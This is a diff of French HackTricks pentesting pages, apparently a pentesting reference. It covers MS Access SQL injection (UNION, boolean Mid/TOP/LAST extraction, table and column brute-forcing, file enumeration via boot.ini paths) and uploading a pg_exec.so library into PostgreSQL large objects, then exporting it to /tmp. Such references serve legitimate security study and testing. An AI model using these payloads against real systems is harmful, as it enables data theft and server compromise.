* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
File diff suppressed because one or more lines are too long
|
@ -2,17 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe télégramme**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -20,7 +18,7 @@
|
||||||
|
|
||||||
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
||||||
|
|
||||||
## Limitations de la base de données
|
## Limitations de la BD
|
||||||
|
|
||||||
### Concaténation de chaînes
|
### Concaténation de chaînes
|
||||||
|
|
||||||
|
@ -31,53 +29,55 @@ La concaténation de chaînes est possible avec les caractères `& (%26)` et `+
|
||||||
```
|
```
|
||||||
### Commentaires
|
### Commentaires
|
||||||
|
|
||||||
Il n'y a pas de commentaires dans MS Access, mais apparemment il est possible de supprimer le dernier caractère d'une requête avec un caractère NULL :
|
Il n'y a pas de commentaires dans MS Access, mais apparemment, il est possible de supprimer la fin d'une requête avec un caractère NULL :
|
||||||
```sql
|
```sql
|
||||||
1' union select 1,2 from table%00
|
1' union select 1,2 from table%00
|
||||||
```
|
```
|
||||||
Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requête :
|
Si cela ne fonctionne pas, vous pourriez toujours corriger la syntaxe de la requête :
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT 1,2 FROM table WHERE ''='
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||||||
```
|
```
|
||||||
### Requêtes empilées
|
### Requêtes Empilées
|
||||||
|
|
||||||
Elles ne sont pas prises en charge.
|
Elles ne sont pas prises en charge.
|
||||||
|
|
||||||
### LIMIT
|
### LIMIT
|
||||||
|
|
||||||
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats de la requête SELECT aux **premières N lignes de la table en utilisant l'opérateur `TOP`**. `TOP` accepte en argument un entier représentant le nombre de lignes à retourner.
|
L'opérateur **`LIMIT`** **n'est pas implémenté**. Cependant, il est possible de limiter les résultats d'une requête SELECT aux **premières N lignes d'une table en utilisant l'opérateur `TOP`**. `TOP` accepte comme argument un entier, représentant le nombre de lignes à retourner.
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT TOP 3 attr FROM table%00
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||||||
```
|
```
|
||||||
Tout comme TOP, vous pouvez utiliser **`LAST`** qui récupérera les **lignes depuis la fin**.
|
Tout comme **`TOP`**, vous pouvez utiliser **`LAST`** qui récupérera **les lignes à partir de la fin**.
|
||||||
|
|
||||||
## Requêtes UNION / Sous-requêtes
|
## Requêtes UNION/Sous-requêtes
|
||||||
|
|
||||||
Dans une injection SQL, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours qu'une clause `FROM` soit indiquée dans les **sous-requêtes ou les requêtes supplémentaires**.\
|
Dans une SQLi, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans **les sous-requêtes ou requêtes supplémentaires, un `FROM` soit indiqué**.\
|
||||||
Ainsi, si vous voulez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer une clause `FROM` avec un nom de table valide**.\
|
Ainsi, si vous souhaitez exécuter un `UNION SELECT` ou `UNION ALL SELECT` ou un `SELECT` entre parenthèses dans une condition, vous devez toujours **indiquer un `FROM` avec un nom de table valide**.\
|
||||||
Par conséquent, vous devez connaître un **nom de table valide**.
|
Par conséquent, vous devez connaître un **nom de table valide**.
|
||||||
```sql
|
```sql
|
||||||
-1' UNION SELECT username,password from users%00
|
-1' UNION SELECT username,password from users%00
|
||||||
```
|
```
|
||||||
### Enchaînement de égalités + Substring
|
### Chaînage d'égalités + Sous-chaîne
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Cela vous permettra d'exfiltrer des valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.
|
Cela vous permettra d'exfiltrer les valeurs de la table courante sans avoir besoin de connaître le nom de la table.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**MS Access** permet une syntaxe étrange telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL sera à l'intérieur d'une clause **`WHERE`**, nous pouvons en abuser.
|
**MS Access** permet une **syntaxe étrange** telle que **`'1'=2='3'='asd'=false`**. Comme d'habitude, l'injection SQL sera à l'intérieur d'une clause **`WHERE`**, nous pouvons en abuser.
|
||||||
|
|
||||||
Imaginez que vous avez une injection SQL dans une base de données MS Access et que vous savez (ou avez deviné) qu'un **nom de colonne est username**, et que c'est le champ que vous voulez **exfiltrer**. Vous pouvez vérifier les différentes réponses de l'application Web lorsque la technique d'enchaînement d'égalités est utilisée et potentiellement exfiltrer le contenu avec une injection booléenne en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes.
|
Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous savez (ou supposez) qu'un **nom de colonne est username**, et c'est le champ que vous souhaitez **exfiltrer**. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique de chaînage d'égalités est utilisée et potentiellement exfiltrer le contenu avec une **injection booléenne** en utilisant la fonction **`Mid`** pour obtenir des sous-chaînes.
|
||||||
```sql
|
```sql
|
||||||
'=(Mid(username,1,3)='adm')='
|
'=(Mid(username,1,3)='adm')='
|
||||||
```
|
```
|
||||||
Si vous connaissez le **nom de la table** et la **colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **exfiltrer toutes les informations** via une injection SQL booléenne :
|
Si vous connaissez le **nom de la table** et de la **colonne** à extraire, vous pouvez utiliser une combinaison de `Mid`, `LAST` et `TOP` pour **fuir toutes les infos** via SQLi booléen :
|
||||||
```sql
|
```sql
|
||||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||||
```
|
```
|
||||||
### Force brute des noms de tables
|
_Sentez-vous libre de vérifier cela dans l'aire de jeu en ligne._
|
||||||
|
|
||||||
En utilisant la technique de chaînage d'égalité, vous pouvez également **forcer brute les noms de tables** avec quelque chose comme:
|
### Forçage brutal des noms de tables
|
||||||
|
|
||||||
|
En utilisant la technique de chaînage des égalités, vous pouvez également **forcer brutalement les noms de tables** avec quelque chose comme :
|
||||||
```sql
|
```sql
|
||||||
'=(select+top+1+'lala'+from+<table_name>)='
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||||||
```
|
```
|
||||||
|
@ -85,14 +85,14 @@ Vous pouvez également utiliser une méthode plus traditionnelle :
|
||||||
```sql
|
```sql
|
||||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||||
```
|
```
|
||||||
_N'hésitez pas à vérifier cela dans l'aire de jeu en ligne._
|
_N'hésitez pas à vérifier cela dans le terrain de jeu en ligne._
|
||||||
|
|
||||||
* Noms de table courants de Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
* Noms de tables courants Sqlmap : [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
* Il y a une autre liste dans [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
* Il existe une autre liste sur [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||||
|
|
||||||
### Forcer les noms de colonnes
|
### Forçage Brut des Noms de Colonnes
|
||||||
|
|
||||||
Vous pouvez **forcer les noms de colonnes actuels** avec le truc d'égalité en chaîne avec:
|
Vous pouvez **forcer brutalement les noms de colonnes actuels** avec l'astuce de chaînage des égalités avec :
|
||||||
```sql
|
```sql
|
||||||
'=column_name='
|
'=column_name='
|
||||||
```
|
```
|
||||||
|
@ -100,7 +100,7 @@ Ou avec un **group by** :
|
||||||
```sql
|
```sql
|
||||||
-1' GROUP BY column_name%00
|
-1' GROUP BY column_name%00
|
||||||
```
|
```
|
||||||
Ou vous pouvez effectuer une attaque par force brute sur les noms de colonnes d'une **table différente** avec:
|
Ou vous pouvez forcer brutalement les noms de colonnes d'une **table différente** avec :
|
||||||
```sql
|
```sql
|
||||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||||
|
|
||||||
|
@ -108,48 +108,49 @@ Ou vous pouvez effectuer une attaque par force brute sur les noms de colonnes d'
|
||||||
```
|
```
|
||||||
### Extraction de données
|
### Extraction de données
|
||||||
|
|
||||||
Nous avons déjà discuté de la [**technique d'enchaînement d'égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données des tables actuelles et d'autres tables**. Mais il existe d'autres moyens :
|
Nous avons déjà discuté de la [**technique de chaînage des égalités**](ms-access-sql-injection.md#chaining-equals-+-substring) **pour extraire des données de la table courante et d'autres tables**. Mais il existe d'autres méthodes :
|
||||||
```sql
|
```sql
|
||||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||||
```
|
```
|
||||||
En résumé, la requête utilise une instruction "si-alors" afin de déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En exploitant l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation ultérieure de LAST permet de ne considérer que le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "nom d'utilisateur" pour toutes les lignes.
|
En résumé, la requête utilise une instruction "if-then" pour déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de ne considérer que la 10ème tuple. Sur une telle valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'indice de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.
|
||||||
|
|
||||||
### Basé sur le temps
|
### Basé sur le temps
|
||||||
|
|
||||||
Vérifiez [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
Consultez [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
||||||
|
|
||||||
### Autres fonctions intéressantes
|
### Autres fonctions intéressantes
|
||||||
|
|
||||||
* `Mid('admin',1,1)` obtenir une sous-chaîne à partir de la position 1 de longueur 1 (la position initiale est 1)
|
* `Mid('admin',1,1)` obtient la sous-chaîne à partir de la position 1 de longueur 1 (la position initiale est 1)
|
||||||
* `LEN('1234')` obtenir la longueur de la chaîne
|
* `LEN('1234')` obtient la longueur de la chaîne
|
||||||
* `ASC('A')` obtenir la valeur ASCII du caractère
|
* `ASC('A')` obtient la valeur ascii du caractère
|
||||||
* `CHR(65)` obtenir la chaîne à partir de la valeur ASCII
|
* `CHR(65)` obtient la chaîne à partir de la valeur ascii
|
||||||
* `IIF(1=1,'a','b')` si alors
|
* `IIF(1=1,'a','b')` si alors
|
||||||
* `COUNT(*)` Compter le nombre d'éléments
|
* `COUNT(*)` Compte le nombre d'éléments
|
||||||
|
|
||||||
## Énumération des tables
|
## Énumération des tables
|
||||||
|
|
||||||
À partir de [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database), vous pouvez voir une requête pour obtenir les noms des tables :
|
Depuis [**ici**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) vous pouvez voir une requête pour obtenir les noms des tables :
|
||||||
```sql
|
```sql
|
||||||
select MSysObjects.name
|
select MSysObjects.name
|
||||||
from MSysObjects
|
from MSysObjects
|
||||||
where
|
where
|
||||||
MSysObjects.type In (1,4,6)
|
MSysObjects.type In (1,4,6)
|
||||||
and MSysObjects.name not like '~*'
|
and MSysObjects.name not like '~*'
|
||||||
and MSysObjects.name not like 'MSys*'
|
and MSysObjects.name not like 'MSys*'
|
||||||
order by MSysObjects.name
|
order by MSysObjects.name
|
||||||
```
|
```
|
||||||
Cependant, notez qu'il est très courant de trouver des injections SQL où vous **n'avez pas accès à la lecture de la table `MSysObjects`**.
|
```markdown
|
||||||
|
Cependant, notez qu'il est très typique de trouver des SQL Injections où vous **n'avez pas accès pour lire la table `MSysObjects`**.
|
||||||
|
|
||||||
## Accès au système de fichiers
|
## Accès au système de fichiers
|
||||||
|
|
||||||
### Chemin complet du répertoire racine Web
|
### Chemin complet du répertoire racine Web
|
||||||
|
|
||||||
La connaissance du **chemin absolu du répertoire racine Web peut faciliter d'autres attaques**. Si les erreurs de l'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
|
La connaissance du **chemin absolu de la racine web peut faciliter d'autres attaques**. Si les erreurs de l'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||||
|
|
||||||
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire Web**.
|
MS Access répond avec un **message d'erreur contenant le chemin complet du répertoire web**.
|
||||||
|
|
||||||
### Énumération de fichiers
|
### Énumération de fichiers
|
||||||
|
|
||||||
|
@ -157,19 +158,19 @@ Le vecteur d'attaque suivant peut être utilisé pour **inférer l'existence d'u
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||||
|
|
||||||
Une autre façon d'énumérer les fichiers consiste à **spécifier un élément de base de données.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
|
Une autre manière d'énumérer les fichiers consiste à **spécifier un élément database.table**. **Si** le **fichier spécifié existe**, MS Access affiche un **message d'erreur de format de base de données**.
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||||
|
|
||||||
### Deviner le nom de fichier .mdb
|
### Deviner le nom de fichier .mdb
|
||||||
|
|
||||||
Le **nom de fichier de la base de données (.mdb)** peut être déduit avec la requête suivante :
|
**Le nom de fichier de la base de données (.mdb)** peut être déduit avec la requête suivante :
|
||||||
|
|
||||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||||
|
|
||||||
Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
|
Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existante** dans la base de données. Bien que MS Access déclenchera toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.
|
||||||
|
|
||||||
### Casser le mot de passe .mdb
|
### .mdb Password Cracker
|
||||||
|
|
||||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
||||||
|
|
||||||
|
@ -179,16 +180,15 @@ Où **name\[i] est un nom de fichier .mdb** et **realTable est une table existan
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
```
|
||||||
|
|
|
@ -1,100 +1,100 @@
|
||||||
# PostgreSQL Objets larges
|
```bash
|
||||||
|
split -b 2048 your_binary
|
||||||
|
```
|
||||||
|
|
||||||
PostgreSQL expose une structure appelée **objet large** (**table pg_largeobject**), qui est utilisée pour stocker des données qui seraient difficiles à manipuler dans leur intégralité (comme une image ou un document PDF). Contrairement à la fonction **COPY TO**, l'avantage des **objets larges** réside dans le fait que les **données** qu'ils **contiennent** peuvent être **exportées** vers le **système de fichiers** sous la forme d'une **copie identique du fichier importé**.
|
Pour **sauvegarder un fichier complet dans cette table**, vous devez d'abord **créer un objet** dans la table mentionnée (identifié par un **LOID**) puis **insérer des morceaux de 2 Ko** dans cet objet. Il est très important que tous les **morceaux fassent 2 Ko** (sauf peut-être le dernier) **ou** la fonction d'**exportation** vers le système de fichiers **ne fonctionnera pas**.
|
||||||
|
|
||||||
Afin de **sauvegarder un fichier complet dans cette table**, vous devez d'abord **créer un objet** dans la table mentionnée (identifié par un **LOID**) et ensuite **insérer des morceaux de 2 Ko** dans cet objet. Il est très important que tous les **morceaux aient 2 Ko** (sauf éventuellement le dernier) **ou** la fonction d'**exportation** vers le système de fichiers **ne fonctionnera pas**.
|
Pour **diviser** votre **binaire** en **morceaux** de **2 Ko**, vous pouvez faire :
|
||||||
|
|
||||||
Afin de **diviser** votre **binaire** en **morceaux** de **2 Ko**, vous pouvez faire :
|
|
||||||
```bash
|
```bash
|
||||||
split -b 2048 pg_exec.so #This will create files of size 2KB
|
split -b 2048 pg_exec.so #This will create files of size 2KB
|
||||||
```
|
```
|
||||||
Pour encoder chacun des fichiers créés en Base64 ou en Hex, vous pouvez utiliser :
|
Afin de coder chacun des fichiers créés en Base64 ou Hex, vous pouvez utiliser :
|
||||||
```bash
|
```bash
|
||||||
base64 -w 0 <Chunk_file> #Encoded in 1 line
|
base64 -w 0 <Chunk_file> #Encoded in 1 line
|
||||||
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
|
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Lors de l'exploitation de cette faille, il faut envoyer des **paquets de 2KB d'octets en texte clair** (pas 2KB d'octets encodés en base64 ou en hexadécimal). Si vous essayez d'automatiser cela, la taille d'un fichier **encodé en hexadécimal** est **doublée** (il faut donc envoyer 4KB de données encodées pour chaque paquet) et la taille d'un fichier **encodé en base64** est `ceil(n / 3) * 4`.
|
Lors de l'exploitation, n'oubliez pas que vous devez envoyer des **morceaux de 2 Ko de bytes en clair** (et non 2 Ko de bytes encodés en base64 ou hexadécimal). Si vous tentez d'automatiser cela, la taille d'un fichier **encodé en hexadécimal** est le **double** (vous devez donc envoyer 4 Ko de données encodées pour chaque morceau) et la taille d'un fichier encodé en **base64** est `ceil(n / 3) * 4`
|
||||||
|
|
||||||
De plus, pour déboguer le processus, vous pouvez voir le contenu des grands objets créés avec :
|
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
De plus, en déboguant le processus, vous pouvez voir le contenu des grands objets créés avec :
|
||||||
```sql
|
```sql
|
||||||
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||||
```
|
```
|
||||||
# Utilisation de lo\_creat & Base64
|
# Utilisation de lo\_creat & Base64
|
||||||
|
|
||||||
Tout d'abord, nous devons créer un LOID où les données binaires vont être enregistrées :
|
Tout d'abord, nous devons créer un LOID où les données binaires vont être sauvegardées :
|
||||||
```sql
|
```sql
|
||||||
SELECT lo_creat(-1); -- returns OID of new, empty large object
|
SELECT lo_creat(-1); -- returns OID of new, empty large object
|
||||||
SELECT lo_create(173454); -- attempts to create large object with OID 43213
|
SELECT lo_create(173454); -- attempts to create large object with OID 43213
|
||||||
```
|
```
|
||||||
Si vous exploitez une **injection SQL aveugle**, vous serez plus intéressé à utiliser `lo_create` avec un **LOID fixe** afin de **savoir où** vous devez **téléverser** le **contenu**.\
|
Si vous exploitez une **Blind SQLinjection**, vous serez probablement plus intéressé par l'utilisation de `lo_create` avec un **LOID fixe** afin de **savoir où** vous devez **téléverser** le **contenu**.\
|
||||||
Notez également qu'il n'y a pas d'erreur de syntaxe, les fonctions sont `lo_creat` et `lo_create`.
|
Notez également qu'il n'y a pas d'erreur de syntaxe, les fonctions sont `lo_creat` et `lo_create`.
|
||||||
|
|
||||||
LOID est utilisé pour identifier l'objet dans la table `pg_largeobject`. L'insertion de morceaux de taille 2 Ko dans la table `pg_largeobject` peut être réalisée en utilisant :
|
Le LOID est utilisé pour identifier l'objet dans la table `pg_largeobject`. L'insertion de blocs de 2 Ko dans la table `pg_largeobject` peut être réalisée en utilisant :
|
||||||
```sql
|
```sql
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
|
||||||
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
|
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
|
||||||
```
|
```
|
||||||
|
```markdown
|
||||||
Enfin, vous pouvez exporter le fichier vers le système de fichiers en faisant (pendant cet exemple, le LOID utilisé était `173454`):
|
Enfin, vous pouvez exporter le fichier vers le système de fichiers en faisant (pendant cet exemple, le LOID utilisé était `173454`):
|
||||||
|
```
|
||||||
```sql
|
```sql
|
||||||
SELECT lo_export(173454, '/tmp/pg_exec.so');
|
SELECT lo_export(173454, '/tmp/pg_exec.so');
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
